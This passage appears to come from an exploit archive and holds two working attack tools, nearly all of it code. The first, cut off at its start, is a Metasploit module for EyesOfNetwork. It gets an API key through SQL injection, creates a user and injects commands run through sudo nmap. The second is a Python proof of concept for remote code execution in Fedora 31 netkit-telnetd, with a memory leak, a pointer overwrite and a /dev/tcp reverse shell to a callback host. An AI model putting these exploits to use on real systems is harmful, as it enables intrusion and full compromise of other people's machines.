Failure::UnexpectedReply, 'Failed to retrieve cookies' end res end def create_autodiscovery_job(cmd) vprint_status "Creating AutoDiscovery job: #{cmd}" res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/lilac/autodiscovery.php'), 'cookie' => @cookie, 'vars_post' => { 'request' => 'autodiscover', 'job_name' => 'Internal discovery', 'job_description' => 'Internal EON discovery procedure.', 'nmap_binary' => nmap_path, 'default_template' => '', 'target[]' => cmd } }) unless res fail_with Failure::Unreachable, 'Creating AutoDiscovery job failed: Connection failed' end unless res.body.include? 'Starting...' fail_with Failure::Unknown, 'Creating AutoDiscovery job failed: Job failed to start' end res end def delete_autodiscovery_job(job_id) vprint_status "Removing AutoDiscovery job #{job_id} ..." res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/lilac/autodiscovery.php'), 'cookie' => @cookie, 'vars_get' => { id: job_id, delete: 1 } }) unless res print_warning "Removing AutoDiscovery job #{job_id} failed: Connection failed" return end res end def execute_command(cmd, opts = {}) res = create_autodiscovery_job ";#{cmd} #" return unless res job_id = res.body.scan(/autodiscovery.php\?id=([\d]+)/).flatten.first if job_id.empty? print_warning 'Could not retrieve AutoDiscovery job ID. Manual removal required.' return end delete_autodiscovery_job job_id end def cleanup super if @username delete_eon_user @username end end def exploit unless [CheckCode::Detected, CheckCode::Appears].include? check unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end @api_user = 'admin' @api_key = generate_api_key print_status "Using generated API key: #{@api_key}" @username = rand_text_alphanumeric(8..12) @password = rand_text_alphanumeric(8..12) create_res = create_eon_user @username, @password unless verify_api_key(create_res) @api_key = sqli_to_api_key fail_with Failure::NoAccess, 'Failed to obtain valid API key' unless @api_key print_status("Using API key obtained via SQL injection: #{@api_key}") sqli_verify = create_eon_user @username, @password fail_with Failure::NoAccess, 'Failed to obtain valid API with sqli' unless verify_api_key(sqli_verify) end admin_group_id = 1 login @username, @password unless @cookie.include? 'group_id=' @cookie << "; group_id=#{admin_group_id}" end nse = Rex::Text.encode_base64("local os=require \"os\" hostrule=function(host) os.execute(\"#{payload.encoded.gsub(/"/, '\"')}\") end action=function() end") nse_path = "/tmp/.#{rand_text_alphanumeric 8..12}" cmd = "echo #{nse} | base64 -d > #{nse_path};sudo #{nmap_path} localhost -sn -script #{nse_path};rm #{nse_path}" print_status "Sending payload (#{cmd.length} bytes) ..." execute_command cmd end end
-
netkit-telnet-0.17 telnetd (Fedora 31) - 'BraveStarr' Remote Code Execution
#!/usr/bin/env python3 # # BraveStarr # ========== # # Proof of Concept remote exploit against Fedora 31 netkit-telnet-0.17 telnetd. # # This is for demonstration purposes only. It has by no means been engineered # to be reliable: 0xff bytes in addresses and inputs are not handled, and a lot # of other constraints are not validated. # # AppGate (C) 2020 / Ronald Huizer / @ronaldhuizer # import argparse import base64 import fcntl import gzip import socket import struct import sys import termios import time class BraveStarr(object): SE = 240 # 0xf0 DM = 242 # 0xf2 AO = 245 # 0xf5 SB = 250 # 0xfa WILL = 251 # 0xfb WONT = 252 # 0xfc DO = 253 # 0xfd IAC = 255 # 0xff TELOPT_STATUS = 5 TELOPT_TTYPE = 24 TELOPT_NAWS = 31 TELOPT_TSPEED = 32 TELOPT_XDISPLOC = 35 TELOPT_ENVIRON = 39 TELQUAL_IS = 0 TELQUAL_SEND = 1 TELQUAL_INFO = 2 NETIBUF_SIZE = 8192 NETOBUF_SIZE = 8192 # Data segment offsets of interesting variables relative to `netibuf'. netibuf_deltas = { 'loginprg': -34952, 'state_rcsid': -34880, 'subpointer': -34816, 'ptyslavefd': -34488, 'environ': -33408, 'state': -33268, 'LastArgv': -26816, 'Argv': -26808, 'remote_host_name': -26752, 'pbackp': -9232, 'nbackp': 8192 } def __init__(self, host, port=23, timeout=5, callback_host=None): self.host = host self.port = port self.sd = None self.timeout = timeout self.leak_marker = b"MARKER|MARKER" self.addresses = {} self.values = {} if callback_host is not None: self.chost = bytes(callback_host, 'ascii') def fatal(self, msg): print(msg, file=sys.stderr) sys.exit(1) def connect(self): self.sd = socket.create_connection((self.host, self.port)) # Try to ensure the remote side will read a full 8191 bytes for # `netobuf_fill' to work properly. self.sd.setsockopt(socket.IPPROTO_TCP, socket.TCP_MAXSEG, 8191) def address_delta(self, name1, name2): return self.addresses[name1] - self.addresses[name2] def address_serialize(self, name): return struct.pack("<Q", self.addresses[name]) def ao(self): return b"%c%c" % (self.IAC, self.AO) def do(self, cmd): return b"%c%c%c" % (self.IAC, self.DO, cmd) def sb(self): return b"%c%c" % (self.IAC, self.SB) def se(self): return b"%c%c" % (self.IAC, self.SE) def will(self, cmd): return b"%c%c%c" % (self.IAC, self.WILL, cmd) def wont(self, cmd): return b"%c%c%c" % (self.IAC, self.WONT, cmd) def tx_flush(self): while self.tx_len() != 0: time.sleep(0.2) def tx_len(self): data = fcntl.ioctl(self.sd, termios.TIOCOUTQ, " ") return struct.unpack('i', data)[0] def netobuf_fill(self, delta): # This populates the prefix of `netobuf' with IAC WONT SB triplets. # This is not relevant now, but during the next time data is sent and # `netobuf' will be reprocessed in `netclear' will calls `nextitem'. # The `nextitem' function will overindex past `nfrontp' and use these # triplets in the processing logic. s = self.do(self.SB) * delta # IAC AO will cause netkit-telnetd to add IAC DM to `netobuf' and set # `neturg' to the DM byte in `netobuf'. s += self.ao() # In this request, every byte in `netibuf' will store a byte in # `netobuf'. Here we ensure that all `netobuf' space is filled except # for the last byte. s += self.ao() * (3 - (self.NETOBUF_SIZE - len(s) - 1) % 3) # We fill `netobuf' with the IAC DO IAC pattern. The last IAC DO IAC # triplet will write IAC to the last free byte of `netobuf'. After # this `netflush' will be called, and the DO IAC bytes will be written # to the beginning of the now empty `netobuf'. s += self.do(self.IAC) * ((self.NETOBUF_SIZE - len(s)) // 3) # Send it out. This should be read in a single read(..., 8191) call on # the remote side. We should probably tune the TCP MSS for this. self.sd.sendall(s) # We need to ensure this is written to the remote now. This is a bit # of a kludge, as the remote can perfectly well still merge the # separate packets into a single read(). This is less likely as the # time delay increases. To do this properly we'd need to statefully # match the responses to what we send. Alack, this is a PoC. self.tx_flush() def reset_and_sync(self): # After triggering the bug, we want to ensure that nbackp = nfrontp = # netobuf We can do so by getting netflush() called, and an easy way to # accomplish this is using the TELOPT_STATUS suboption, which will end # with a netflush. self.telopt_status() # We resynchronize on the output we receive by loosely scanning if the # TELOPT_STATUS option is there. This is not a reliable way to do # things. Alack, this is a PoC. s = b"" status = b"%s%c" % (self.sb(), self.TELOPT_STATUS) while status not in s and not s.endswith(self.se()): s += self.sd.recv(self.NETOBUF_SIZE) def telopt_status(self, mode=None): if mode is None: mode = self.TELQUAL_SEND s = b"%s%c%c%s" % (self.sb(), self.TELOPT_STATUS, mode, self.se()) self.sd.sendall(self.do(self.TELOPT_STATUS)) self.sd.sendall(s) def trigger(self, delta, prefix=b"", suffix=b""): assert b"\xff" not in prefix assert b"\xff" not in suffix s = prefix # Add a literal b"\xff\xf0" to `netibuf'. This will terminate the # `nextitem' scanning for IAC SB sequences. s += self.se() s += self.do(self.IAC) * delta # IAC AO will force a call to `netclear'. s += self.ao() s += suffix self.sd.sendall(s) def infoleak(self): # We use a delta that creates a SB/SE item delta = 512 self.netobuf_fill(delta) self.trigger(delta, self.leak_marker) s = b"" self.sd.settimeout(self.timeout) while self.leak_marker not in s: try: ret = self.sd.recv(8192) except socket.timeout: self.fatal('infoleak unsuccessful.') if ret == b"": self.fatal('infoleak unsuccessful.') s += ret return s def infoleak_analyze(self, s): m = s.rindex(self.leak_marker) s = s[:m-20] # Cut 20 bytes of padding off too. # Layout will depend on build. This works on Fedora 31. self.values['net'] = struct.unpack("<I", s[-4:])[0] self.values['neturg'] = struct.unpack("<Q", s[-12:-4])[0] self.values['pfrontp'] = struct.unpack("<Q", s[-20:-12])[0] self.values['netip'] = struct.unpack("<Q", s[-28:-20])[0] # Resolve Fedora 31 specific addresses. self.addresses['netibuf'] = (self.values['netip'] & ~4095) + 0x980 adjustment = len(max(self.netibuf_deltas, key=len)) for k, v in self.netibuf_deltas.items(): self.addresses[k] = self.addresses['netibuf'] + v def _scratch_build(self, cmd, argv, envp): # We use `state_rcsid' as the scratch memory area. As this area is # fairly small, the bytes after it on the data segment will likely # also be used. Nothing harmful is contained here for a while, so # this is okay. scratchpad = self.addresses['state_rcsid'] exec_stub = b"/bin/bash" rcsid = b"" data_offset = (len(argv) + len(envp) + 2) * 8 # First we populate all argv pointers into the scratchpad. argv_address = scratchpad for arg in argv: rcsid += struct.pack("<Q", scratchpad + data_offset) data_offset += len(arg) + 1 rcsid += struct.pack("<Q", 0) # Next we populate all envp pointers into the scratchpad. envp_address = scratchpad + len(rcsid) for env in envp: rcsid += struct.pack("<Q", scratchpad + data_offset) data_offset += len(env) + 1 rcsid += struct.pack("<Q", 0) # Now handle the argv strings. for arg in argv: rcsid += arg + b'\0' # And the environment strings. for env in envp: rcsid += env + b'\0' # Finally the execution stub command is stored here. stub_address = scratchpad + len(rcsid) rcsid += exec_stub + b"\0" return (rcsid, argv_address, envp_address, stub_address) def _fill_area(self, name1, name2, d): return b"\0" * (self.address_delta(name1, name2) - d) def exploit(self, cmd): env_user = b"USER=" + cmd rcsid, argv, envp, stub = self._scratch_build(cmd, [b"bravestarr"], [env_user]) # The initial exploitation vector: this overwrite the area after # `netobuf' with updated pointers values to overwrite `loginprg' v = struct.pack("<Q", self.addresses['netibuf']) # netip v += struct.pack("<Q", self.addresses['loginprg']) # pfrontp v += struct.pack("<Q", 0) # neturg v += struct.pack("<I", self.values['net']) # net v = v.ljust(48, b'\0') # padding self.netobuf_fill(len(v)) self.trigger(len(v), v + struct.pack('<Q', stub), b"A" * 8) self.reset_and_sync() s = b"" s += self._fill_area('state_rcsid', 'loginprg', 8) s += rcsid s += self._fill_area('ptyslavefd', 'state_rcsid', len(rcsid)) s += struct.pack("<I", 5) s += self._fill_area('environ', 'ptyslavefd', 4) s += struct.pack("<Q", envp) s += self._fill_area('LastArgv', 'environ', 8) s += struct.pack("<Q", argv) * 2 s += self._fill_area('remote_host_name', 'LastArgv', 16) s += b"-c\0" self.sd.sendall(s) self.tx_flush() # We need to finish `getterminaltype' in telnetd and ensure `startslave' is # called. self.sd.sendall(self.wont(self.TELOPT_TTYPE)) self.sd.sendall(self.wont(self.TELOPT_TSPEED)) self.sd.sendall(self.wont(self.TELOPT_XDISPLOC)) self.sd.sendall(self.wont(self.TELOPT_ENVIRON)) banner = """ H4sICBThWF4CA2JsYQC1W0ly4zAMvPsLuegJ4i5VnjJv0P+vU44TRwTBbsBy5jBVikRiaywE6GX5 s3+3+38f/9bj41/ePstnLMfz3f3PbP1kqW3xN32xx/kxxe55246Rbum/+dkCcKnx5mPi9BjSfTPJ pPwAva8VCmBg3qzQgdYaD0FD/US+J/rvITC+PP+lnkQCQOyoL4oMDhFUpM5F0Fee7UCUHlYEoAf/ 4Puw7t2zasMOcD2BAvFbomqkh3h2rxCvi+Ap5hnG53s8vB1sKj0JCzriRIrQ85jisSw+PY6hyrw8 SDfC+g3toCYyqKenmA4VBrY4WC681Uif/OtGAnTIxwTBkxD8WEF3nEVfsDCP+5yedwvjzKx71nnt 0BGJvDlTvnsDNSUOIgv+arD/c0GwkPqKaZIaUVxKDlM+Q8Pmsb8OSsF6FFYM64plS0XZAIYESSJm icYGkRMVoC2Mh8T3UOKUriTGUBhg2siCJgyZhZIz9ldqgnE53p6QHwlQhpuoxuiGOK1kup6I9A6Y ZlHvsA1iVYWwHSlUiaXQDSbfpOjAwN/MRTamLwLywQSBuEnZIEPMwnU9nAY/FnvSrOtrPolJDjyl zRMJNBG75yCeN/x9ViNt5wTBHakABFmkrSukxqL+jFvdI7MTX5l7n0s3UrjeWwp1x4DwOvFOXAuM 6IyGuG4hqy0ByqDCp6hsIlRQNpcB6qr4ave8C4MFuWDDJijOeCVKsbKxYELrmDgmoUuY/hHh6WCe 2FdJFUPzrSXgYyxKp2Hyy4yW8gsxgFRGqhr0Nc6A9lzmwIxUeuXLmc8g4SW+Vpq/XCVMocGJHixk kbha4l3fRXAcG9WzkS+I7DQDn+XZ8MmEBojsdJC8XaovVH15zkqWJLEYeobZG9sj7nIZgiVEfsB+ l7Kr7JRlZTtcdUTIyVdMezN5oamjHZPessEpI5yCONsYqJ0lP2hK/csrOJQyi1GRvqPPF1+OqCbB /5DL2fKhoUUsGH2kYZRLUGWsS3mSk6nPoDYeNZLhFEpTIiwJDaYaCnGYw3/i5c3Y6obkZx1z1Kim 3e4Yvc10wyTAPcn63hf1z2c6A63tGJOu2B7sCvbhUWcoQwIp3NLB2/CDdYX1Q8MOOsHQM2HfgIgi 1H4NP9H086s3hz7AGv362oRkRIONaA3eoW7h0kSzzFSFNkbxBzLS9pro8AMJQambmJQNuyKkDXIu cEJOyyapKc8UQOUGMNOEL1U5ApEDqnp4Ly/QkCanBDasIXBl3ZeHRkbDvTEZvbImDCk4Zr2AhXYM NNZwZzvj48YgkH5GGVoLmfNGqGIlu2bhxVmNjZ0DRzdfFo+DqyYyma3kfEV6WymzQbbMuJLikOej peaYYdpu5l+UGAas3/Npxz97HUaPuLh4KsWHgCivEkn6gbbCE6QY9oIRX5jAZBgUZphTb2O+aDOs ddnFkPMp5vRSBfoZC9tJqCnUazDZyQRutd1mmtyJfY/rlM3XldWqezpXdDlnYQcMZ0MqsNwzva96 e1nJAU/nh4s2qzPByQNHcKaw3dXuqNUx/q7kElF2shosB/Dr1nMNLoNvcpFhVBGvy364elss1JeE mQtDebG7+r/tyljmXBlfsh/t+OIgp4ymcFDjUZL1SNCkw5s5hly5MvrRnZo0TF4zmqOeUy4obBX3 N/i0CGV+0k6SJ2SG+uFHBcPYI66H/bcUt9cdY/KKJmXS1IvBcMTQtLq8cg3sgkLUG+omTBLIRF8i k/gVorFb728qz/2e2FyRikg5j93vkct9S8/wo7A/YCVl28Fg+RvO7J1Fw6+73sqJ7Td6L1Oz/vrw r/a+S/cfKpbzJTo5AAA= """ parser = argparse.ArgumentParser(description="BraveStarr -- Remote Fedora 31 telnetd exploit") parser.add_argument('-H', '--hostname', dest='hostname', required=True, help='Target IP address or hostname') parser.add_argument('-p', '--port', dest='port', type=int, default=23, help='port number') parser.add_argument('-t', '--timeout', dest='timeout', type=int, default=10, help='socket timeout') method_parser = parser.add_subparsers(dest='method', help='Exploitation method') method_parser.required = True method_infoleak_parser = method_parser.add_parser('leak', help='Leaks memory of the remote process') method_cmd_parser = method_parser.add_parser('command', help='Executes a blind command on the remote') method_cmd_parser.add_argument('command', help='Command to execute') method_shell_parser = method_parser.add_parser('shell', help='Spawns a shell on the remote and connects back') method_shell_parser.add_argument('-c', '--callback', dest='callback', required=True, help='Host to connect back a shell to') args = parser.parse_args() for line in gzip.decompress(base64.b64decode(banner)).split(b"\n"): sys.stdout.buffer.write(line + b"\n") sys.stdout.buffer.flush() time.sleep(0.1) t = BraveStarr(args.hostname, port=args.port, timeout=args.timeout, callback_host=getattr(args, 'callback', None)) print(f"\u26e4 Connecting to {args.hostname}:{args.port}") t.connect() # For the `shell' method, we set up a listening socket to receive the callback # shell on. if args.method == 'shell': sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sd.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sd.bind(('0.0.0.0', 12345)) sd.listen(1) s = t.infoleak() t.infoleak_analyze(s) print("\n\u26e4 Leaked variables") print(f" netip : {t.values['netip']:#016x}") print(f" pfrontp: {t.values['pfrontp']:#016x}") print(f" neturg : {t.values['neturg']:#016x}") print(f" net : {t.values['net']}") print("\n\u26e4 Resolved addresses") adjustment = len(max(t.netibuf_deltas, key=len)) for k, v in t.netibuf_deltas.items(): print(f" {k:<{adjustment}}: {t.addresses[k]:#016x}") if args.method == 'leak': sys.exit(0) t.reset_and_sync() if args.method == 'shell': t.exploit(b"/bin/bash -i >& /dev/tcp/%s/12345 0>&1" % t.chost) print("\n\u26e4 Waiting for connect back shell") if args.method == 'shell': import telnetlib tclient = telnetlib.Telnet() tclient.sock = sd.accept()[0] tclient.interact() sd.close() elif args.method == 'command': print(f'\n\u26e4 Executing command "{args.command}"') t.exploit(bytes(args.command, 'ascii'))